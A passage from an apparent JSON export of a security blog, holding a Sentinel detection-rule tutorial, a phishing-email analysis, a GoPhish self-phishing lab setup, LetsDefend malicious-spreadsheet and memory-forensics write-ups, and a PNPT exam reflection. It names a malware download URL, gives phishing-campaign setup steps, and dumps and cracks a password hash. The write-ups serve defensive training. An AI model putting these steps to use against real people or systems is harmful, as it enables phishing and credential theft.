(https://learn.microsoft.com/en-us/azure/sentinel/create-nrt-rules?tabs=azure-portal), or Microsoft incident creation rules.\n\n[Image: Snowflake log ingestion via Azure Functions — image 24]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/24.png\n\nLet's click on “ NRT query rules (https://learn.microsoft.com/en-us/azure/sentinel/create-nrt-rules?tabs=azure-portal)” and choose an appropriate name, description, severity, and MITRE ATT&CK that are relevant to the detection you're creating.\n\n[Image: Snowflake log ingestion via Azure Functions — image 25]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/25.png\n\nClick Next, and now we have to define the logic(this query finds users with 3 or more failed login attempts within each one-minute interval, grouping by user and IP address):\n\n```\nSnowflake_CL\n| where EVENT_TYPE_s == \"LOGIN\"\n| where IS_SUCCESS_s == \"NO\"  // Filter failed login attempts\n| summarize FailedAttempts = count() by USER_NAME_s, bin(TimeGenerated, 1m), CLIENT_IP_s\n| where FailedAttempts >= 3\n| project TimeGenerated, USER_NAME_s, CLIENT_IP_s, FailedAttempts\n\n```\n\n[Image: Snowflake log ingestion via Azure Functions — image 26]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/26.png\n\nUltimately, you click “Review & Create” after tweaking any settings under “Incident Settings” and “Automated Response”. You should now have a new NRT rule created!\n\n[Image: Snowflake log ingestion via Azure Functions — image 27]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/27.png\n\n[Image: Snowflake log ingestion via Azure Functions — image 28]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/28.jpeg\n\nFinally, let’s try to lock our user from Snowflake in an attempt to trigger this alert. After locking ourselves out, we receive an alert in the queue for “Failed Logins for ENLEAK”?!\n\n[Image: Snowflake log ingestion via Azure Functions — image 29]\nhttps://enleak.dev/images/research/snowflake-log-ingestion-azure-functions/29.png\n\nThank you for reading. Have a nice day :).\n"
    },
    {
      "id": "phish-or-swim-part-2",
      "title": "Phish or Swim: Part 2",
      "author": "Enleak",
      "date": "2023-12-11",
      "category": "Malware analysis",
      "summary": "Inspect a suspicious message, its headers and its attachment in a LetsDefend email-analysis exercise.",
      "tags": [
        "phishing-analysis"
      ],
      "url": "https://enleak.dev/writing/phish-or-swim-part-2",
      "status": "published",
      "availability": "full-text",
      "textUrl": "https://deathdiaries.com/terminal/phish-or-swim-part-2.txt",
      "text": "DE&TH DIARIES\n\nPhish or Swim: Part 2\nBy Enleak | 2023-12-11\nMalware analysis | full-text\nStatus: published\n\nSource: https://enleak.dev/writing/phish-or-swim-part-2\n\nField note\n\n# Phish or Swim: Part 2\n\nUpdate:\n\nPublished Dec 11, 20234 min readphishing-analysis\n\nOriginally published on Medium (https://medium.com/@enleak/phish-or-swim-part-2-fcd51fc50065).\n\n[Image: Phish or Swim: Part 2 — image 1]\nhttps://enleak.dev/images/research/phish-or-swim-part-2/01.jpg\n\n#### Update:\n\nThe investigation of the generated Phishing email created with GoPhish was not exciting enough so we are continuing our investigation with an email and attachment provided by LetsDefend.\n\n#### Challenge Scenario\n\nYou recently received an email from someone trying to impersonate a company, your job is to analyze the email to see if it is suspicious.\n\n#### Phase 1:\n\nIn order to begin our investigation let’s open the BusinessEmail.emlfile in thunderbird. Thunderbird is a free email client software, you can use any application you’d like.\n\n[Image: Phish or Swim: Part 2 — image 2]\nhttps://enleak.dev/images/research/phish-or-swim-part-2/02.png\n\nAfter opening the email, I observed several factors that have the potential to be indicators of a phishing attempt, albeit they may not be sufficient on their own to definitively confirm it. Below I have annotated the email with some of these indicators:\n\n[Image: Phish or Swim: Part 2 — image 3]\nhttps://enleak.dev/images/research/phish-or-swim-part-2/03.png\n\n#### Phase 2:\n\nNow that we have reasonable suspicion to believe that this may be a phishing attempt, lets download and open the email so we can inspect it’s header contents.\n\n[Image: Phish or Swim: Part 2 — image 4]\nhttps://enleak.dev/images/research/phish-or-swim-part-2/04.png\n\n#### Key information provided in the email header:\n\nReturn-Path:\n\nThe email is claiming to be sent from yanting@united.com.sg.\n\nDelivered-To:\n\nThe email is delivered to admin@malware-traffic-analysis.net.\n\nReceived:\n\nThe email was received from IP address 71.19.248.52.\n\nFrom:\n\nThe sender claims to be “Yan Ting” with the email address yanting@united.com.sg.\n\nTo:\n\nThe recipient is admin@malware-traffic-analysis.net.\n\nSubject:\n\nThe subject of the email is “united scientific equipment.”\n\nDate:\n\nThe email was sent on 08 Feb 2021 at 23:15:11 UTC.\n\n#### Analysis:\n\nThe email appears to be discussing a payment issue related to a proforma invoice, mentioning different bank details and a suspicion of an issue with the colleagues email box. The sender claims to use a second company email because they believe the main domain is blocking emails, an invoice is also attached for reference. This email claims to be from a legitimate company, United Scientific Equipment Pte Ltd (https://www.united.com.sg/), but the authenticity of the sender’s identity cannot be verified solely based on the email header. Mention of a payment issue and the attachment could be an attempt to trick the recipient into opening a malicious file or clicking on a link. Let’s inspect the malicious attachment and IP in an attempt to conclude whether it’s malicious or not.\n\n#### Phase 3:\n\nLet’s check whether this IP address appears in any abuse reports. Let’s paste the IP of 71.19.248.52on AbuseIPDB:\n\n[Image: Phish or Swim: Part 2 — image 5]\nhttps://enleak.dev/images/research/phish-or-swim-part-2/05.png\n\n[Image: Phish or Swim: Part 2 — image 6]\nhttps://enleak.dev/images/research/phish-or-swim-part-2/06.png\n\n#### Analysis:\n\nAbuseIPDB received a report regarding IP address 71.19.248.52, which was linked to the Canadian ISP eSecureData, located in Vancouver, British Columbia. The domain name is esecuredata.com, and the corresponding hostname is hml02.krominfaul.info. In contrast, VirusTotal does not flag this IP address at all. IP information provides insights into the origin of the email, the true nature of its content and any associated risks can only be determined by inspecting the email attachment and its contents so let’s hop into phase 4!\n\n#### Phase 4:\n\nNow let’s input and analyze the united scientific equipent.exefile into VirusTotal and note down any additional insight. At first glance we see that it has been flagged by 55/69 vendors and 3 sandboxes to be malicious.\n\n[Image: Phish or Swim: Part 2 — image 7]\nhttps://enleak.dev/images/research/phish-or-swim-part-2/07.png\n\nUnder the Detailstab we are provided with the following artifacts:\n\nMD5 Hash:\n\n71536be72d8cc9dc156f1ff70b7f69a5\n\nSha-256 Hash:\n\n9909753bfb0ac8ab165bab3555233d03b01a9274a92e57c022f87ccbe51ca415\n\nFile Type:\n\nWin32 EXE\n\nFile Size:\n\n710.00 KB (727040 bytes)\n\nCreation Time:\n\n2021–02–08 03:01:01 UTC\n\n[Image: Phish or Swim: Part 2 — image 8]\nhttps://enleak.dev/images/research/phish-or-swim-part-2/08.png\n\nUnder the Communitytab we see VMRays Verdict and Analysis Report:\n\n[Image: Phish or Swim: Part 2 — image 9]\nhttps://enleak.dev/images/research/phish-or-swim-part-2/09.png\n\nFollowing the link redirects us to https://www.vmray.com/analyses/\\_vt/9909753bfb0a/report/overview\\[.\\]html (https://www.vmray.com/analyses/%5C_vt/9909753bfb0a/report/overview%5C%5B.%5C%5Dhtml).\n\n[Image: Phish or Swim: Part 2 — image 10]\nhttps://enleak.dev/images/research/phish-or-swim-part-2/10.png\n\nIn this analysis report we can see the Monitored Processes, Dropped Files, IOC’s and general Overview.\n\n[Image: Phish or Swim: Part 2 — image 11]\nhttps://enleak.dev/images/research/phish-or-swim-part-2/11.png\n\nWe can also utilize AnyRun in order to gather more information on this malware, you can access the report at https://any\\[.\\]run/report/9909753bfb0ac8ab165bab3555233d03b01a9274a92e57c022f87ccbe51ca415/07bc9242-2008-443a-99b7-8bfb02ffa373 (https://any%5C%5B.%5C%5Drun/report/9909753bfb0ac8ab165bab3555233d03b01a9274a92e57c022f87ccbe51ca415/07bc9242-2008-443a-99b7-8bfb02ffa373).\n\n[Image: Phish or Swim: Part 2 — image 12]\nhttps://enleak.dev/images/research/phish-or-swim-part-2/12.png\n\n#### Phase 5:\n\nErmmm that’s all for today folks, thank you for reading. More blogs to come soon.\n"
    },
    {
      "id": "phish-or-swim-part-1",
      "title": "Phish or Swim: Part 1",
      "author": "Enleak",
      "date": "2023-12-08",
      "category": "Malware analysis",
      "summary": "Create a self-contained GoPhish practice campaign to develop email-analysis skills.",
      "tags": [
        "phishing-analysis"
      ],
      "url": "https://enleak.dev/writing/phish-or-swim-part-1",
      "status": "published",
      "availability": "full-text",
      "textUrl": "https://deathdiaries.com/terminal/phish-or-swim-part-1.txt",
      "text": "DE&TH DIARIES\n\nPhish or Swim: Part 1\nBy Enleak | 2023-12-08\nMalware analysis | full-text\nStatus: published\n\nSource: https://enleak.dev/writing/phish-or-swim-part-1\n\nField note\n\n# Phish or Swim: Part 1\n\nWhat is GoPhish?\n\nPublished Dec 08, 20234 min readphishing-analysis\n\nOriginally published on Medium (https://medium.com/@enleak/phish-or-swim-part-1-46ef85605b65).\n\n[Image: Phish or Swim: Part 1 — image 1]\nhttps://enleak.dev/images/research/phish-or-swim-part-1/01.jpg\n\nWhat is GoPhish?\n\n“Gophish (https://getgophish.com/) is an open-source phishing toolkit designed for businesses and penetration testers. It provides the ability to quickly and easily setup and execute phishing engagements and security awareness training.”\n\nWhy is this small project relevant?\n\nIn the midst of learning about loops in Python, the idea of further developing my Email Analysis skills spawned. With this idea fresh in my head I began to scroll through my emails for any potential phishing and spam emails but this proved to be time consuming. I thought to myself, “what If I generate the emails myself” and that’s when I realized that I could send myself phishing emails utilizing GoPhish and analyze them.\n\n#### Setting Up GoPhish: Phase 1\n\n[Image: Phish or Swim: Part 1 — image 2]\nhttps://enleak.dev/images/research/phish-or-swim-part-1/02.png\n\nLet’s begin by downloading GoPhish directly from their Github (https://github.com/gophish/gophish). From here we will click on release for your system which will direct you to the releases page.\n\n[Image: Phish or Swim: Part 1 — image 3]\nhttps://enleak.dev/images/research/phish-or-swim-part-1/03.png\n\nScroll down from here and download the zip file for your relevant OS. I will be downloading the gophish-v0.12.1-windows-64bit.zipand extract all it’s contents onto a dedicated folder.\n\n[Image: Phish or Swim: Part 1 — image 4]\nhttps://enleak.dev/images/research/phish-or-swim-part-1/04.png\n\nIf we wanted to confirm the integrity of the zip file we can compare the SHA256 hash we generate against the hash provided in the GitHub. Below we confirm that the SHA256 hashes are both the same:\n\n[Image: Phish or Swim: Part 1 — image 5]\nhttps://enleak.dev/images/research/phish-or-swim-part-1/05.png\n\n[Image: Phish or Swim: Part 1 — image 6]\nhttps://enleak.dev/images/research/phish-or-swim-part-1/06.png\n\nNow in our terminal or directly in the folder where you extracted the relevant files, run the gophish.exeexecutable which will run the program and provide us with default admin credentials.\n\n[Image: Phish or Swim: Part 1 — image 7]\nhttps://enleak.dev/images/research/phish-or-swim-part-1/07.png\n\nYou can access the login portal via 127.0.0.1:3333. Here, you’ll input the default credentials and be prompted to change your password to something more secure or…less secure depending on how you’re feeling lol. For my passwords in this project I used LastPass random password generator (https://www.lastpass.com/features/password-generator).\n\n[Image: Phish or Swim: Part 1 — image 8]\nhttps://enleak.dev/images/research/phish-or-swim-part-1/08.png\n\n#### Setting Up GoPhish: Phase 2\n\nTo customize the settings for a specific group of targets or recipients within the campaign we edit the Edit Groupunder the Users & Groups tab. Under the email option I input a test email I created specifically for this project.\n\n[Image: Phish or Swim: Part 1 — image 9]\nhttps://enleak.dev/images/research/phish-or-swim-part-1/09.png\n\nIn order to customize the phishing email messages that will be sent to the targets we will edit the Email Template. For the Envelope Sender option I input the admin@o365.com email.\n\nThe landing page template can be found in Criggs626 Github (https://github.com/criggs626/PhishingTemplates/blob/master/emails/Crime%20Report.html) page. Copy the HTML and past it into the below:\n\n[Image: Phish or Swim: Part 1 — image 10]\nhttps://enleak.dev/images/research/phish-or-swim-part-1/10.png\n\nIn order to customize the web page that the target will see when they click on the phishing link we will edit the Edit Landing Pageunder the Landing Pagestab.\n\nThe landing page template can be found in FreeZeroDays Github (https://github.com/FreeZeroDays/GoPhish-Templates/blob/master/Landing_Pages/O-Three-Sixty-Five_Landing_Page.html) page. Copy the HTML and past it into the below:\n\n[Image: Phish or Swim: Part 1 — image 11]\nhttps://enleak.dev/images/research/phish-or-swim-part-1/11.png\n\n#### Setting Up GoPhish: Phase 3\n\nWe’ll be creating a new email: sstore.newss@gmail.com. After creating your email then generate an App Passwordwhich will be the password utilized in the step below. Here’s a guide on how to generate an App Password via Gmail: https://support.google.com/mail/answer/185833?hl=en (https://support.google.com/mail/answer/185833?hl=en).\n\nIn these configuration settings relating to how emails are sent we will input the Gmail SMTP Server Address: smtp.gmail.com:587 in addition to the email username and password for the sstore.newss@gmail.com email we created for this phishing lab.\n\n[Image: Phish or Swim: Part 1 — image 12]\nhttps://enleak.dev/images/research/phish-or-swim-part-1/12.png\n\nTo find the Gmail STMP server address let’s go to saleshandy (https://www.saleshandy.com/smtp/gmail-smtp-settings/):\n\n[Image: Phish or Swim: Part 1 — image 13]\nhttps://enleak.dev/images/research/phish-or-swim-part-1/13.png\n\n#### Setting Up GoPhish: Phase 4\n\nWe can create and manage our phishing simulations under the Campaigns tab. When we click on the New Campaigns we’re prompted to provide the Name, Template, Landing Page, Sending Profile ,Groups, and relevant URL. Now we’re ready to launch!!\n\n[Image: Phish or Swim: Part 1 — image 14]\nhttps://enleak.dev/images/research/phish-or-swim-part-1/14.png\n\n#### Phishing Email Confirmation\n\nWith the launched campaign it does not take long until we see the email populate our inbox at the donthackenleak@gmail.com email. The fake email template is a Crime Report with a link that we are able to click!\n\n[Image: Phish or Swim: Part 1 — image 15]\nhttps://enleak.dev/images/research/phish-or-swim-part-1/15.png\n\nOnce we click the link, we are redirected to an Office 365 login portal. Time to do some investigation on the generated phishing email and collect as many artifacts that would be relevant during an investigation.\n\n[Image: Phish or Swim: Part 1 — image 16]\nhttps://enleak.dev/images/research/phish-or-swim-part-1/16.png\n\n#### The Investigation: Part 2 Coming Soon…………..\n"
    },
    {
      "id": "letsdefend-remote-working",
      "title": "LetsDefend — Remote Working",
      "author": "Enleak",
      "date": "2023-12-06",
      "category": "Malware analysis",
      "summary": "Identify a suspicious spreadsheet and investigate its metadata with ExifTool, hex inspection and related tools.",
      "tags": [
        "field-notes"
      ],
      "url": "https://enleak.dev/writing/letsdefend-remote-working",
      "status": "published",
      "availability": "full-text",
      "textUrl": "https://deathdiaries.com/terminal/letsdefend-remote-working.txt",
      "text": "DE&TH DIARIES\n\nLetsDefend — Remote Working\nBy Enleak | 2023-12-06\nMalware analysis | full-text\nStatus: published\n\nSource: https://enleak.dev/writing/letsdefend-remote-working\n\nField note\n\n# LetsDefend — Remote Working\n\nIn this article, I use Exiftool, XXD, VirusTotal and some other resources in order to aid in an content identification and metadata…\n\nPublished Dec 06, 20233 min readfield-notes\n\nOriginally published on Medium (https://medium.com/@enleak/letsdefend-remote-working-d088b9961775).\n\n[Image: LetsDefend — Remote Working — image 1]\nhttps://enleak.dev/images/research/letsdefend-remote-working/01.jpg\n\nIn this article, I use Exiftool, XXD, VirusTotal and some other resources in order to aid in an content identification and metadata extraction. We are tasked with detecting and analyzing a malicious file, extracting metadata, and ultimately collecting as many artifacts we can. The malicious XLS file belongs to a blue team focused challenge on the LetsDefend (https://app.letsdefend.io/challenge/winrar-0-day) website, titled “Remote Working”.\n\n#### Disclaimer\n\nI encourage individuals to try the challenge first on their own before consulting the write-up. This approach promotes independent problem-solving and allows for a more genuine learning experience.\n\n1. What is the date the file was created?\n\nExifTool can be used on Microsoft Suite files in order to extract their metadata including permissions, file size, creation date, application used, etc…albeit a bit redundant considering VirusTotal provides meta data in addition to detections, behavior and additional details.\n\n```\nexiftool ORDER\\ SHEET\\ \\&\\ SPEC.xlsm\n\n```\n\n[Image: LetsDefend — Remote Working — image 2]\nhttps://enleak.dev/images/research/letsdefend-remote-working/02.png\n\nThere are other reliable ways of doing some content identification besides executing the file command on the target file, below we confirm that the associated file is a Microsoft Excel file.\n\n```\nfile ORDER\\ SHEET\\ \\&\\ SPEC.xlsm\n\n```\n\n[Image: LetsDefend — Remote Working — image 3]\nhttps://enleak.dev/images/research/letsdefend-remote-working/03.png\n\nOne method of doing so is by honing in on magic numbers which is a hexadecimal value embedded in the file header…each file type is represented by a different magic byte. In the image below, I use a HEX Viewer (xxd) in order to view the hexadecimal representation of the data. We see that the magic bytes for this xls file is `504B 0304`, confirming that it was indeed an Excel File.\n\n```\nxxd ORDER\\ SHEET\\ \\&\\ SPEC.xlsm |head\n\n```\n\n[Image: LetsDefend — Remote Working — image 4]\nhttps://enleak.dev/images/research/letsdefend-remote-working/04.png\n\nList of file signatures (https://en.wikipedia.org/wiki/List_of_file_signatures):\n\n[Image: LetsDefend — Remote Working — image 5]\nhttps://enleak.dev/images/research/letsdefend-remote-working/05.png\n\n2. With what name is the file detected by Bitdefender antivirus?\n\nUnder the Detection tab we see the plethora of security vendors who have marked the associated file as malicious, some including McAfee, Fortinet, Sophos and Bitdefender. Bitdefender marks this file as Trojan.GenericKD.36266294which answers our question.\n\n[Image: LetsDefend — Remote Working — image 6]\nhttps://enleak.dev/images/research/letsdefend-remote-working/06.png\n\n3. How many files are dropped on the disk?\n\nUnder the Created/Dropped Files tab, joesandbox (http://html) reveals that there are three files dropped onto the disk.\n\n[Image: LetsDefend — Remote Working — image 7]\nhttps://enleak.dev/images/research/letsdefend-remote-working/07.png\n\n4. What is the sha-256 hash of the file with emf extension it drops?\n\nUnder the Behaviortab in VirusTotal (https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/behavior) there is a Files Dropped header which provides information about files that are dropped or created by an executable or process during its execution. If we expand the dropdown we saw the SHA256 hash for the 485d1763.emffile.\n\n[Image: LetsDefend — Remote Working — image 8]\nhttps://enleak.dev/images/research/letsdefend-remote-working/08.png\n\n5. What is the exact url to which the relevant file goes to download spyware?\n\nUnder the Behaviortab in VirusTotal (https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/behavior) there is a Network Communication header which provides information about the network activity associated with the analysis of a submitted file. We see HTTP Requests including the URL [https://multiware](https://multiware)tecnologia.com.br/js/Podaliri4.exe in addition to the name of the executable: Podaliri4.exe.\n\n[Image: LetsDefend — Remote Working — image 9]\nhttps://enleak.dev/images/research/letsdefend-remote-working/09.png\n\nLet’s verify if the file can still be accessed, we ended the challenge by checking if the URL was still in use, after scanning with urlscan[.]io we are informed of a HTTP 404 response concluding that the content(malware) hosted is gone.\n\n[Image: LetsDefend — Remote Working — image 10]\nhttps://enleak.dev/images/research/letsdefend-remote-working/10.jpg\n\nThank you for reading! Stay curious.\n"
    },
    {
      "id": "letsdefend-memory-analysis",
      "title": "LetsDefend — Memory Analysis",
      "author": "Enleak",
      "date": "2023-12-03",
      "category": "Forensics",
      "summary": "Use Volatility 3 to investigate a compromised Windows endpoint from its memory dump.",
      "tags": [
        "digital-forensics"
      ],
      "url": "https://enleak.dev/writing/letsdefend-memory-analysis",
      "status": "published",
      "availability": "full-text",
      "textUrl": "https://deathdiaries.com/terminal/letsdefend-memory-analysis.txt",
      "text": "DE&TH DIARIES\n\nLetsDefend — Memory Analysis\nBy Enleak | 2023-12-03\nForensics | full-text\nStatus: published\n\nSource: https://enleak.dev/writing/letsdefend-memory-analysis\n\nField note\n\n# LetsDefend — Memory Analysis\n\nIn this article, I use Volatility 3 to aid in memory forensics. The memory dump file belongs to a blue team focused challenge on the…\n\nPublished Dec 03, 20233 min readdigital-forensics\n\nOriginally published on Medium (https://medium.com/@enleak/letsdefend-memory-analysis-5c78cb26a23c).\n\n[Image: LetsDefend — Memory Analysis — image 1]\nhttps://enleak.dev/images/research/letsdefend-memory-analysis/01.jpg\n\nIn this article, I use Volatility 3 to aid in memory forensics. The memory dump file belongs to a blue team focused challenge on the LetsDefend (https://app.letsdefend.io/challenge/winrar-0-day) website, titled “Memory Analysis”.\n\n#### Disclaimer\n\nI encourage individuals to try the challenge first on their own before consulting the write-up. This approach promotes independent problem-solving and allows for a more genuine learning experience.\n\n#### Challenge Scenario\n\nA Windows Endpoint was recently compromised. Thanks to our cutting-edge EDR/IDS solution we immediately noticed it. The alert was escalated to Tier 2 (Incident Responders) for further investigation. As our Forensics guy, you were given the memory dump of the compromised host. You should continue to investigate.\n\n1. What was the date and time when Memory from the compromised endpoint was acquired?\n\nUpon executing this command, Volatility will use the windows.infoplugin to analyze the memory dump file with details about the Windows operating system that was installed on the machine, at the time the memory dump was taken. Looking through the information we see that the date and time of the memory dump was at 2022-07-26 18:16:32. Interesting enough we also see the windows version under PE MajorOperatingSystemVersion, some more information worth noting down.\n\n```\npython3 vol.py -f ../dump.mem windows.info\n\n```\n\n[Image: LetsDefend — Memory Analysis — image 2]\nhttps://enleak.dev/images/research/letsdefend-memory-analysis/02.png\n\n2. What was the suspicious process running on the system? (Format : name.extension)\n\nIn order to answer this question we have to use the windows.pstreeplugin which displays the parent-child interactions between processes will be displayed in the process tree, offering an understanding of the relationships and flow of execution among different Windows system processes.\n\n[Image: LetsDefend — Memory Analysis — image 3]\nhttps://enleak.dev/images/research/letsdefend-memory-analysis/03.png\n\nThe process list below reveals that the parent process of the lsass.exeis explorer.exe, however this PDF by SANS (https://sansorg.egnyte.com/dl/oQm41D67D6) above reminds us that the parent process for this should specifically be wininit.exe. We now have reasonable impression that this process is malicious.\n\n```\npython3 vol.py -f ../dump.mem windows.pstree\n\n```\n\n[Image: LetsDefend — Memory Analysis — image 4]\nhttps://enleak.dev/images/research/letsdefend-memory-analysis/04.png\n\n3. Analyze and find the malicious tool running on the system by the attacker. (Format name.extension)\n\nWith some new found suspicion let’s hone in on the lsass.exeprocess and analyze it. For our next steps, were going to analyze the specified memory dump file, list information about active processes (specifically the process with ID 7592), and then create a memory dump file for that process.\n\n```\npython3 vol.py -f ../dump.mem -o /home/kali/Downloads/LetsDefend/MemAnalysis windows.pslist --pid 7592 --dump\n\n```\n\n[Image: LetsDefend — Memory Analysis — image 5]\nhttps://enleak.dev/images/research/letsdefend-memory-analysis/05.png\n\nNow that we have the memory dump file on our system we can input it into VirusTotal for us to explore. After some digging we find out that VT pointed to it as winPEAS.exe, some potential privilege escalation going on.\n\n[Image: LetsDefend — Memory Analysis — image 6]\nhttps://enleak.dev/images/research/letsdefend-memory-analysis/06.png\n\n4. Which User Account was compromised? Format (DomainName/USERNAME)\n\nIn order to list information about user sessions that were active on the Windows system at the time the memory dump was taken we will use the windows.sessionsplugin. The Volatility Framework (https://volatilityfoundation.github.io/volatility/d7/d36/classvolatility_1_1plugins_1_1gui_1_1sessions_1_1_sessions.html#details) detailed description says “List details on _MM_SESSION_SPACE (user logon sessions)”\n\n[Image: LetsDefend — Memory Analysis — image 7]\nhttps://enleak.dev/images/research/letsdefend-memory-analysis/07.png\n\nHere is the command we used:\n\n```\npython3 volatility3/vol.py -f ./dump.mem windows.sessions\n\n```\n\n[Image: LetsDefend — Memory Analysis — image 8]\nhttps://enleak.dev/images/research/letsdefend-memory-analysis/08.png\n\n5. What is the compromised user password?\n\nSimple enough, the windows.hashdumpplugin allows us to extract (LM/NTLM) password hashes from the memory image.\n\n```\npython3 volatility3/vol.py -f ./dump.mem windows.hashdump\n\n```\n\n[Image: LetsDefend — Memory Analysis — image 9]\nhttps://enleak.dev/images/research/letsdefend-memory-analysis/09.png\n\nCrack this password hash using JohnTheRipper reveals that the password is password123. Great password, super secure(jk).\n\n[Image: LetsDefend — Memory Analysis — image 10]\nhttps://enleak.dev/images/research/letsdefend-memory-analysis/10.png\n\nThank you for reading! Stay curious.\n"
    },
    {
      "id": "pnpt-exam-experience",
      "title": "My PNPT Exam Experience",
      "author": "Enleak",
      "date": "2023-11-24",
      "category": "Career & training",
      "summary": "Enleak reflects on preparing for the PNPT, its practical format and lessons from the attempt.",
      "tags": [
        "certification"
      ],
      "url": "https://enleak.dev/writing/pnpt-exam-experience",
      "status": "published",
      "availability": "full-text",
      "textUrl": "https://deathdiaries.com/terminal/pnpt-exam-experience.txt",
      "text": "DE&TH DIARIES\n\nMy PNPT Exam Experience\nBy Enleak | 2023-11-24\nCareer & training | full-text\nStatus: published\n\nSource: https://enleak.dev/writing/pnpt-exam-experience\n\nField note\n\n# My PNPT Exam Experience\n\nI want to preface this by stating that the course material is more than enough to pass the exam. Don’t stress, all your learning material…\n\nPublished Nov 24, 20236 min readcertification\n\nOriginally published on Medium (https://medium.com/@enleak/my-pnpt-exam-experience-2537af18b39b).\n\n[Image: My PNPT Exam Experience — image 1]\nhttps://enleak.dev/images/research/pnpt-exam-experience/01.jpeg\n\nI want to preface this by stating that the course material is more than enough to pass the exam. Don’t stress, all your learning material is centralized, you won’t need to outsource a million resources in order to pass the exam. With that being said, let’s go over what the PNPT exam is and if it’s a certification that you or your team should explore. The Practical Network Penetration Tester™ or better known as the PNPT is an “ethical hacking certification exam that assesses a student’s ability to perform an external and internal network penetration test at a professional level.”\n\n#### PNPT Overview\n\n[Image: My PNPT Exam Experience — image 2]\nhttps://enleak.dev/images/research/pnpt-exam-experience/02.png\n\nIn order to receive the certification, a student must:\n\n“Perform Open-Source Intelligence (OSINT) to gather intel on how to properly attack the network\n\nLeverage their Active Directory exploitation skillsets to perform A/V and egress bypassing, lateral and vertical network movements, and ultimately compromise the exam Domain Controller\n\nProvide a detailed, professionally written report\n\nPerform a live 15-minute report debrief in front of our assessors, comprised of all senior penetration testers.”\n\nThe PEH or Practical Ethical Hacking course provided by TCM goes over all the topics covered in the exam and then some. You’ll be introduced to Linux CLI, Networking Basics, Python, Active Directory Initial Enumeration & Attack Vectors, Active Directory Enumeration, Active Directory Post-Compromise Enumeration & Attacks, and Web Vulnerabilities just to name a few. Additionally, you’re also given the option of building out an Active Directory lab which enables you to follow along with the course video examples, you could add this lab into your resume as well! Once you reach the end of the course, TCM concludes by giving you some career advice in addition to some report writing tips and tricks.\n\nSome of my favorite techniques the PEH goes over are Pivoting and Domain Enumeration via Bloodhound, Powerview, etc. Did I succeed? Did I fail miserably? Did I smash my monitors? We’ll find out in the next section.\n\n#### Exam Experience\n\n[Image: My PNPT Exam Experience — image 3]\nhttps://enleak.dev/images/research/pnpt-exam-experience/03.gif\n\nAt the beginning of October after minimal planning I decided it was time to tackle the PNPT…once AGAIN. Now, if you’re assuming, “Enleak, there must be some context missing” then you’re absolutely correct. In order to clear things up we have to start by briefly mentioning when my PNPT journey started. After failing my OSCP exam last year, I set my eyes on the PNPT exam, considering that multiple blogs and Reddit posts listed it as a great pre-requisite, especially after the addition of AD machines to the OSCP. After failing my initial attempts I moved on, always keeping the desire for this credential burning bright. It wasn’t until recently where I decided to review the material and simply sit down and take the exam. With some additional preparation done, I felt like it was all or nothing. That being said, I sat down for the exam, immediately read the updated letter of engagement and started gathering important information. I had an idea of what initial access looked like because of my previous attempts; the updates did make it a bit trickier, but nothing that is not included in the course. After initial access and some additional reconnaissance, I was able to breach the network and eventually access their internal network and devices. From this point on, I was pretty much using the course as a guideline and then opening half a million tabs in order to supplement any additional attempts at info gathering and escalating privileges. With some machines compromised and the momentum building up, there was nothing to halt my monitor staring activities….until I got stuck for about 2 days. As I squeezed all the techniques and tooling I had in my arsenal as a last-ditch effort, “something has to work” I reminded myself. Nothing. Nothing. Nothing. Adding this additional failure seemed to be the grim reality but I’m Enleak. I failed this more than once before, I'm familiar with the feeling so like many suggest, I stepped away and distracted myself with other activities. With the mental reset I started scavenging for additional leads and BOOM! Turns out I was overthinking the whole time, it’s not a CTF, there's no flag or root.txt waiting on the other side…this is mimicking a real engagement. With the additional findings I was able to compromise the Domain Controller and use some persistence techniques in order to finalize the exam, curate and submit the report. With the screenshots organized as needed, the exam was ended. The TCM team responded swiftly and scheduled the debrief, I kept it simple and used the report in order to articulate my findings. I verbally received the “You Passed, you should receive your credentials in your email” confirmation and was relieved. Shortly after, I was warmly greeted in a private discord channel in the TCM discord for all PNPT holders. WE DID IT!!\n\n#### Final Tips\n\n[Image: My PNPT Exam Experience — image 4]\nhttps://enleak.dev/images/research/pnpt-exam-experience/04.jpg\n\n- Complete the Active Directory labs and follow along with the attack simulations (you’ll enjoy using tools like CrackMapExec in order to perform Kerberoasting, Password Spray Attacks, etc)\n\n- Familiarize yourself and practice with the tools that will be used (the course mentions the main tools that will be used during the exam).\n\n- PNPT is an open-book, open-internet exam so any cheatsheets, notes, videos, etc that you believe will be of assistance maybe be used during the exam. Google, google, google :).\n\n- Take your time and have fun. The course has fully prepared you to succeed, it won’t be long until you fully immerse yourself in the exam.\n\n#### Resource Hub\n\n[Image: My PNPT Exam Experience — image 5]\nhttps://enleak.dev/images/research/pnpt-exam-experience/05.png\n\nI want to preface this by mentioning that EVERYTHING needed to pass is provided in the course, these are simply _Additional_resources to consider:\n\n#### Pivoting\n\nExplore Hidden Networks With Double Pivoting (https://www.youtube.com/watch?v=awLMbwj5iP0)\n\nSSH & Meterpreter Pivoting Techniques (https://highon.coffee/blog/ssh-meterpreter-pivoting-techniques/)\n\nPivoting Techniques with THM Wreath (https://infosecwriteups.com/pivoting-techniques-with-thm-wreath-95fecba1b580)\n\nTryHackMe | Lateral Movement & Pivoting (https://benheater.com/tryhackme-lateral-movement-pivoting/)\n\n#### Active Directory\n\nAttacking Active Directory: 0 to 0.9 (https://zer1t0.gitlab.io/posts/attacking_ad/)\n\nWreath (https://tryhackme.com/room/wreath)\n\nAttacktive Directory (https://tryhackme.com/room/attacktivedirectory)\n\nVulnNet: Active (https://tryhackme.com/room/vulnnetactive)\n\nPost-Exploitation Basics (https://tryhackme.com/room/postexploit)\n\nVulnNet: Roasted (https://tryhackme.com/room/vulnnetroasted)\n\nEnterprise (https://tryhackme.com/room/enterprise)\n\nRazorBlack (https://tryhackme.com/room/raz0rblack)\n\n#### BurpSuite\n\nBurp Suite: The Basics (https://tryhackme.com/room/burpsuitebasics)\n\nPortswigger (https://portswigger.net/training)\n\n#### Community Discord Servers\n\n[Image: My PNPT Exam Experience — image 